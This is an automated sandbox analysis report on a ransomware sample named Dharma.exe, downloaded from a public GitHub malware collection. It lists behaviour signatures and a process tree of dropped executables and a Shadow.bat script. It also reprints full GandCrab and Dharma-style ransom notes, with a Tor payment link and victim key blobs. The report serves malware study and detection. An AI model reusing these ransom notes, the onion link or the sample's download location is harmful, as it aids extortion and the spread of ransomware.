Overview

overview

10

Static

static

1

URLScan

urlscan

https://github.com/e...

windows10-2004-x64

10

Analysis

  • max time kernel
    176s
  • max time network
    167s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-10-2024 21:17

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    https://github.com/enginestein/Virus-Collection/blob/main/Windows/Binaries/Ransomware/Dharma.exe

Score
10/10
fantomgandcrabbackdoorcredential_accessdefense_evasiondiscoveryevasionlateral_movementpersistenceprivilege_escalationransomwarespywarestealer

Malware Config

Extracted

Path

C:\$Recycle.Bin\S-1-5-21-3442511616-637977696-3186306149-1000\XFOXXONRN-MANUAL.txt

Family

gandcrab

Ransom Note
---= GANDCRAB V5.2 =--- ***********************UNDER NO CIRCUMSTANCES DO NOT DELETE THIS FILE, UNTIL ALL YOUR DATA IS RECOVERED*********************** *****FAILING TO DO SO, WILL RESULT IN YOUR SYSTEM CORRUPTION, IF THERE ARE DECRYPTION ERRORS***** Attention! All your files, documents, photos, databases and other important files are encrypted and have the extension: .XFOXXONRN The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. The server with your key is in a closed network TOR. You can get there by the following ways: ---------------------------------------------------------------------------------------- | 0. Download Tor browser - https://www.torproject.org/ | 1. Install Tor browser | 2. Open Tor Browser | 3. Open link in TOR browser: http://gandcrabmfe6mnef.onion/1016d78c5fd14aeb | 4. Follow the instructions on this page ---------------------------------------------------------------------------------------- On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. ATTENTION! IN ORDER TO PREVENT DATA DAMAGE: * DO NOT MODIFY ENCRYPTED FILES * DO NOT CHANGE DATA BELOW ---BEGIN GANDCRAB KEY--- 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 ---END GANDCRAB KEY--- ---BEGIN PC DATA--- 7ftDEgLb/ZS0lcmZbHM61KDJ6AOtD78KkA7absMgUXYxWLsC+5+UYF9xVmDx9MbJMZDZAvKVtuDRRXjIKnQXQzua3LPyzokSUuglaqKXwabsGM4pXku5In6gtMQMqg7sgEh1XW1iPMFgiUj/s1LdWpJHdiPjMpn7rCZNO/A31mak0K8RefoREu3BxtlAsseHWfVIIKN0U4NnA3w0Ga7XDLlF3iOIB6ImYbF6Z/7MBN2mgBr2rZ2gU1R7jNx2WKAyu4W+5zlHFnKwMISBi1CwemOo6FrxnP+Z5F9bSR7OvDBsmLj7oYD6GBgpBqj3RSAVfvfE0yZSXyCRtLeJfNANBiVqqMZqR+e3ObGfmdGR2kfUP9jy+PM0LOHjC6P0r1BW4eYoT03JrPa/L0B0wffnS0ez96BFoTHFq52HPDCx6yhEudvoPVoM6iaVy+mvqAdvYbwBrtoypS8P1fqlVzmT7qx4BOwxgT+wK0yub5gfz9wpLQCj3bimwDPi8jPeKPiggI2bWKz+7QkWvC2ihYFfEuZEtCM4ANvhw9QRIE71VUGcye6MeJ1R1l8/9eQQe20E3nSOCqHrLtcaPCWVcMp8LqMb9wmQcCuV87DWEYusQrSRnMKaOEJ8b8E061HMc3fS06JJDB/Fw4HhqAVwh0aPxJ3GvHUfm+rKP/M= ---END PC DATA---
URLs

http://gandcrabmfe6mnef.onion/1016d78c5fd14aeb

Extracted

Path

C:\Program Files\7-Zip\DECRYPT_YOUR_FILES.HTML

Ransom Note
<html> <head> <style> body{ background-color: #3366CC; } h1 { background-color: RGB(249, 201, 16); } p { background-color: maroon; color: white; } </style> </head> <body> <center> <h1><b> Attention ! All your files </b> have been encrypted. </h1></br> <p> Due encrypting was used algoritm RSA-4096 and AES-256, used for protection military secrets.</br> That means > RESTORE YOU DATA POSIBLE ONLY BUYING decryption passwords from us.</br> Getting a decryption of your files is - SIMPLY task.</br></br> That all what you need:</br> 1. Sent Your ID_KEY on mailbox [email protected] or [email protected] </br> 2. For test, decrypt 2 small files, to be sure that we can decrypt you files.</br> 3. Pay our services. </br> 4. GET software with passwords for decrypt you files.</br> 5. Make measures to prevent this type situations again.</br></br> IMPORTANT(1)</br> Do not try restore files without our help, this is useless, and can destroy you data permanetly.</br></br> IMPORTANT(2) </br> We Cant hold you decryption passwords forever. </br>ALL DECRYPTION PASSWORDS, for what wasn`t we receive reward, will destroy after week of moment of encryption. </p> <p> Your ID_KEY: <br> </p> <table width="1024" border="0"> <tbody> <tr> <td><p>RJhKVLNo769kiVwoJaH6m6Wt/uDeihwOFG1SHx76pV8xZy/Z4TEYtYre39VJir3goLCdC+AWX/7N2QA8CChqg0paH/3YUbu3pAaJiFIbnWoOPSxL0UxmLzAu80akwbU4Iq9AG1+aPaLk64IVA4j0RhMgJYpHyMm4ND28l62o7PR7dFVRMwGzv7FH5PBxq0LPb4HXM1OBU1me8zlARqEO1EN4AvGTjEr6kMNAGgkfXDRwkNpc4ZRwUwayQTP1WLha3+cx1L4bFKJ6MSJSy8De0LMpuTLBvLucr7ekHfvTodRTHrTaD913SFucdAG06fxGepD3296nvDBNLSEbEcpw/Q==ZW4tVVM=</p></td> </tr> </tbody> </table> </center></html></body>

Extracted

Path

C:\Program Files\7-Zip\DECRYPT_YOUR_FILES.HTML

Ransom Note
<html> <head> <style> body{ background-color: #3366CC; } h1 { background-color: RGB(249, 201, 16); } p { background-color: maroon; color: white; } </style> </head> <body> <center> <h1><b> Attention ! All your files </b> have been encrypted. </h1></br> <p> Due encrypting was used algoritm RSA-4096 and AES-256, used for protection military secrets.</br> That means > RESTORE YOU DATA POSIBLE ONLY BUYING decryption passwords from us.</br> Getting a decryption of your files is - SIMPLY task.</br></br> That all what you need:</br> 1. Sent Your ID_KEY on mailbox [email protected] or [email protected] </br> 2. For test, decrypt 2 small files, to be sure that we can decrypt you files.</br> 3. Pay our services. </br> 4. GET software with passwords for decrypt you files.</br> 5. Make measures to prevent this type situations again.</br></br> IMPORTANT(1)</br> Do not try restore files without our help, this is useless, and can destroy you data permanetly.</br></br> IMPORTANT(2) </br> We Cant hold you decryption passwords forever. </br>ALL DECRYPTION PASSWORDS, for what wasn`t we receive reward, will destroy after week of moment of encryption. </p> <p> Your ID_KEY: <br> </p> <table width="1024" border="0"> <tbody> <tr> <td><p>kjYV9SEnkMRysgdWebtPpnxCiAIJmtz6hTsxXzoyVdGS3CJm1/5G9wSzSO76ABfcadJZeo9cc07f8HR4FAHn8fvVGncaeYb66tC6bY/NDFq3KTGA4XRm07xz14jmEdVhwVelXiIgD8cgSXRgnEG3yTK9nJ4R+tmMdDLCqUI+vetkzO9Sqm8KnC4zTgwGIOmxEo32fV7d0KedoBJxP0dyhO0OXZ+4EBlVm8sT+Nd+SnvLoWIaV2ZUVkDnJvpElSe1smtobjwholKtBn7Czwom+u0kUphDB9xgDO7W5IOm0EZvSndo3pw29L3lVaH+Cg1Hlmh++u5N+VRIVE4feWF75Q==ZW4tVVM=</p></td> </tr> </tbody> </table> </center></html></body>

Extracted

Path

C:\Program Files\7-Zip\DECRYPT_YOUR_FILES.HTML

Ransom Note
<html> <head> <style> body{ background-color: #3366CC; } h1 { background-color: RGB(249, 201, 16); } p { background-color: maroon; color: white; } </style> </head> <body> <center> <h1><b> Attention ! All your files </b> have been encrypted. </h1></br> <p> Due encrypting was used algoritm RSA-4096 and AES-256, used for protection military secrets.</br> That means > RESTORE YOU DATA POSIBLE ONLY BUYING decryption passwords from us.</br> Getting a decryption of your files is - SIMPLY task.</br></br> That all what you need:</br> 1. Sent Your ID_KEY on mailbox [email protected] or [email protected] </br> 2. For test, decrypt 2 small files, to be sure that we can decrypt you files.</br> 3. Pay our services. </br> 4. GET software with passwords for decrypt you files.</br> 5. Make measures to prevent this type situations again.</br></br> IMPORTANT(1)</br> Do not try restore files without our help, this is useless, and can destroy you data permanetly.</br></br> IMPORTANT(2) </br> We Cant hold you decryption passwords forever. </br>ALL DECRYPTION PASSWORDS, for what wasn`t we receive reward, will destroy after week of moment of encryption. </p> <p> Your ID_KEY: <br> </p> <table width="1024" border="0"> <tbody> <tr> <td><p>c53ynDg4NiBlghXyL2XEZHNWgEmY2OKaudS8wZ/NRPJpKNNABbAs/nehtEFkapaA6jie0fSgO0opUkP4pbqEtjKt/GnFhyA5m9s597nwRcYY/5nZjtc3O4/nHAHhFgu4zNm3Xv68qiyMRfvRtjZgEC4LSVpCS7ihLETt47N/eNn+YfUY3mLC2r7QvBVtwsl1697ICfX48RyOL6Ejjlrwh68XToy1oxkLW3fd85qa91HebKN1MhzMfaWKI4fMHL9grDkgE3m1QlhYCmfguBurTsxnvl9S1OYBBv9C3HAEztH/zJC+/H+EyI8oi82tRr3GryS82Rf1XzQ1sVrUYRWBqg==ZW4tVVM=</p></td> </tr> </tbody> </table> </center></html></body>

Extracted

Path

C:\Program Files\7-Zip\DECRYPT_YOUR_FILES.HTML

Ransom Note
<html> <head> <style> body{ background-color: #3366CC; } h1 { background-color: RGB(249, 201, 16); } p { background-color: maroon; color: white; } </style> </head> <body> <center> <h1><b> Attention ! All your files </b> have been encrypted. </h1></br> <p> Due encrypting was used algoritm RSA-4096 and AES-256, used for protection military secrets.</br> That means > RESTORE YOU DATA POSIBLE ONLY BUYING decryption passwords from us.</br> Getting a decryption of your files is - SIMPLY task.</br></br> That all what you need:</br> 1. Sent Your ID_KEY on mailbox [email protected] or [email protected] </br> 2. For test, decrypt 2 small files, to be sure that we can decrypt you files.</br> 3. Pay our services. </br> 4. GET software with passwords for decrypt you files.</br> 5. Make measures to prevent this type situations again.</br></br> IMPORTANT(1)</br> Do not try restore files without our help, this is useless, and can destroy you data permanetly.</br></br> IMPORTANT(2) </br> We Cant hold you decryption passwords forever. </br>ALL DECRYPTION PASSWORDS, for what wasn`t we receive reward, will destroy after week of moment of encryption. </p> <p> Your ID_KEY: <br> </p> <table width="1024" border="0"> <tbody> <tr> <td><p>j29G+/zskl8xVp+ndn2Ouuejy/r0pfTsFteVMSGymAQu9vkfcgoCnUEY0eApYhS1wsS2+50yN4/NEQqnZE/ndQzRl8nNXHQ30HpQH5HQao2YQjT2sOXcTwuNnbKYAXV6m87Rn5K2f5uqYgTLrlJsfM0kLyS6hkypWEvQS24zt6YUj6NzWE/wTGcIuiDoNA4ZvQnO/z2EqkMqjmTVPlu3WV+RQsUUqjhiV5XsddX1RrEkR8y3P4xU3q+L6DrAKlD79geAdL9eXVPjiy1fnKw+bY/5rfBEhdntruUxReCBNxxqVZoKCkjExiWJxDCHNs9icu4ESp/OrmZgZyllDX1NCQ==ZW4tVVM=</p></td> </tr> </tbody> </table> </center></html></body>

Extracted

Path

C:\Program Files\7-Zip\DECRYPT_YOUR_FILES.HTML

Ransom Note
<html> <head> <style> body{ background-color: #3366CC; } h1 { background-color: RGB(249, 201, 16); } p { background-color: maroon; color: white; } </style> </head> <body> <center> <h1><b> Attention ! All your files </b> have been encrypted. </h1></br> <p> Due encrypting was used algoritm RSA-4096 and AES-256, used for protection military secrets.</br> That means > RESTORE YOU DATA POSIBLE ONLY BUYING decryption passwords from us.</br> Getting a decryption of your files is - SIMPLY task.</br></br> That all what you need:</br> 1. Sent Your ID_KEY on mailbox [email protected] or [email protected] </br> 2. For test, decrypt 2 small files, to be sure that we can decrypt you files.</br> 3. Pay our services. </br> 4. GET software with passwords for decrypt you files.</br> 5. Make measures to prevent this type situations again.</br></br> IMPORTANT(1)</br> Do not try restore files without our help, this is useless, and can destroy you data permanetly.</br></br> IMPORTANT(2) </br> We Cant hold you decryption passwords forever. </br>ALL DECRYPTION PASSWORDS, for what wasn`t we receive reward, will destroy after week of moment of encryption. </p> <p> Your ID_KEY: <br> </p> <table width="1024" border="0"> <tbody> <tr> <td><p>nRfvPPY2EfL3hIRk4WtB6WTrI415LzRAoiL/SJlyC9BVQ5BmC4pih9uMitrn9tut2S3GjpbAab31URxGlu/Ft6O2Y5Ep5L0W+HTIofQ1z13TbAPQ4/jjDYqWwMOUF4zu/XX9vGGpEFOrB3o+5iDCdT7tc9IUrE8n4jueh93IlgcgjThXddYKEno+79pYPAKMT9jLTLn3eqQYqqk7oE8nF4EtK2bwnlKp91TvSVDkrjo0aJ9BYrV2ZqKXEFgPw91XRqKNdlcrb6Hgg/joLptfMrhn7rEWWBwkJbV6wiFblt/KNR44A6DiEYqiEfNsryLkadn+iotMo/bFFjQRf4c7QA==ZW4tVVM=</p></td> </tr> </tbody> </table> </center></html></body>

Signatures

  • Fantom

    Ransomware which hides encryption process behind fake Windows Update screen.

    ransomwarefantom
  • Gandcrab

    Gandcrab is a Trojan horse that encrypts files on a computer.

    ransomwarebackdoorgandcrab
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 2 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

    lateral_movement
  • Renames multiple (295) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Renames multiple (377) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Disables Task Manager via registry modification
    evasion
  • Downloads MZ/PE file
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    evasion
  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

    evasion
  • Sets service image path in registry 2 TTPs 10 IoCs
    persistence
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Drops startup file 2 IoCs
  • Executes dropped EXE 12 IoCs
  • Impair Defenses: Safe Mode Boot 1 TTPs 16 IoCs
    defense_evasion
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Password Policy Discovery 1 TTPs

    Attempt to access detailed information about the password policy used within an enterprise network.

    discovery
  • Hide Artifacts: Hidden Users 1 TTPs 1 IoCs
    defense_evasion
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

    discovery
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 36 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • NTFS ADS 4 IoCs
  • Runs net.exe
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 32 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 36 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://github.com/enginestein/Virus-Collection/blob/main/Windows/Binaries/Ransomware/Dharma.exe
    1⤵
    • Enumerates system info in registry
    • Modifies registry class
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4628
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffef75646f8,0x7ffef7564708,0x7ffef7564718
      2⤵
        PID:3212
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2108,6591421288823645325,182031561709186932,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1928 /prefetch:2
        2⤵
          PID:1240
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2108,6591421288823645325,182031561709186932,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:936
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2108,6591421288823645325,182031561709186932,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2892 /prefetch:8
          2⤵
            PID:2136
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,6591421288823645325,182031561709186932,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
            2⤵
              PID:2588
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,6591421288823645325,182031561709186932,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1
              2⤵
                PID:2860
              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2108,6591421288823645325,182031561709186932,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5744 /prefetch:8
                2⤵
                  PID:4788
                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2108,6591421288823645325,182031561709186932,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5744 /prefetch:8
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:620
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,6591421288823645325,182031561709186932,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5640 /prefetch:1
                  2⤵
                    PID:3952
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,6591421288823645325,182031561709186932,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5276 /prefetch:1
                    2⤵
                      PID:4924
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2108,6591421288823645325,182031561709186932,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5348 /prefetch:8
                      2⤵
                        PID:552
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,6591421288823645325,182031561709186932,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5464 /prefetch:1
                        2⤵
                          PID:464
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,6591421288823645325,182031561709186932,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5656 /prefetch:1
                          2⤵
                            PID:1212
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,6591421288823645325,182031561709186932,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6152 /prefetch:1
                            2⤵
                              PID:3908
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2108,6591421288823645325,182031561709186932,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6448 /prefetch:8
                              2⤵
                                PID:3488
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2108,6591421288823645325,182031561709186932,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5024 /prefetch:8
                                2⤵
                                • Suspicious behavior: EnumeratesProcesses
                                PID:5524
                              • C:\Users\Admin\Downloads\Dharma.exe
                                "C:\Users\Admin\Downloads\Dharma.exe"
                                2⤵
                                • Checks computer location settings
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                PID:5636
                                • C:\Users\Admin\Downloads\ac\nc123.exe
                                  "C:\Users\Admin\Downloads\ac\nc123.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  PID:5852
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c cls
                                    4⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:4412
                                • C:\Users\Admin\Downloads\ac\mssql.exe
                                  "C:\Users\Admin\Downloads\ac\mssql.exe"
                                  3⤵
                                  • Sets service image path in registry
                                  • Executes dropped EXE
                                  • Impair Defenses: Safe Mode Boot
                                  • Suspicious behavior: LoadsDriver
                                  • Suspicious use of AdjustPrivilegeToken
                                  • Suspicious use of SetWindowsHookEx
                                  PID:5920
                                • C:\Users\Admin\Downloads\ac\mssql2.exe
                                  "C:\Users\Admin\Downloads\ac\mssql2.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of AdjustPrivilegeToken
                                  • Suspicious use of SetWindowsHookEx
                                  PID:5996
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\ac\Shadow.bat" "
                                  3⤵
